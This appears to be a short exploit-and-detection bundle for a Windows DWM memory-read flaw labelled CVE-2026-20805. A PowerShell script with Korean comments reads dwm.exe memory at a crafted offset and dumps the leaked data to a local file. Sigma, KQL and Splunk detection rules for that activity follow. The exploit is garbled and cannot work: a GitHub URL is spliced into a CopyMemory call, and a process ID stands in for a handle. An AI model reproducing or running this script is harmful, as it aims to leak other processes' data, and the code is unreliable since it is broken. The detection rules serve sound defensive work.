# Windows 10.0.19041 – DWM 버퍼 읽기 악용
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000   # 인접 GPU 메모리에 대한 제작된 오프셋
$targetWindow = 0x00030001    # 대상 창 인덱스

# 커널 공간에 임시 버퍼 생성
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/HEAD/:CopyMemory(
    $processHandle, 
    $bufferOffset, 
    $kernelBuffer, 
    0x1000)

# 커널 버퍼를 DWM의 합성 루틴에 복사
Invoke-DwmRead -ProcessId $processHandle `
                -WindowIndex $targetWindow `
                -SrcAddress $bufferOffset `
                -Size 0x1000

# 노출된 데이터를 분석을 위해 로컬 파일로 덤프
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)

title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 0x2B
    ProcessName: dwm.exe
    SrcAddress: 0x00120000
    Size: 0x1000
  condition: selection
falsepositives:
  - High GPU rendering workloads
level: medium
tags:
  - attack.defense-evasion

SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5

Sysmon
| where EventID == 1
| where Image endswith "dwm.exe"
| where ParentImage !endswith "explorer.exe"

Event
| where EventID == 0x2B
| summarize count() by Computer, bin(TimeGenerated, 1m)
| where count_ > 50

let handles = SecurityEvent
    | where EventID == 4656 and ObjectName has "dwm.exe"
    | project TimeGenerated, Account, Computer;

let gpu = Event
    | where EventID == 0x2B
    | project TimeGenerated, Computer;

handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)

index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| where NOT match(ProcessName, "explorer.exe")
| stats count by ProcessName, TargetImage, User, Computer
| where count > 5

index=sysmon EventCode=1 Image="*\\dwm.exe"
| where NOT like(ParentImage, "%explorer.exe")
| table _time, Computer, ParentImage, Image, User

index=windows EventCode=43
| timechart span=1m count
| where count > 50

handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;

gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;

handles
| join key gpu
| table Computer, handles._time, gpu._time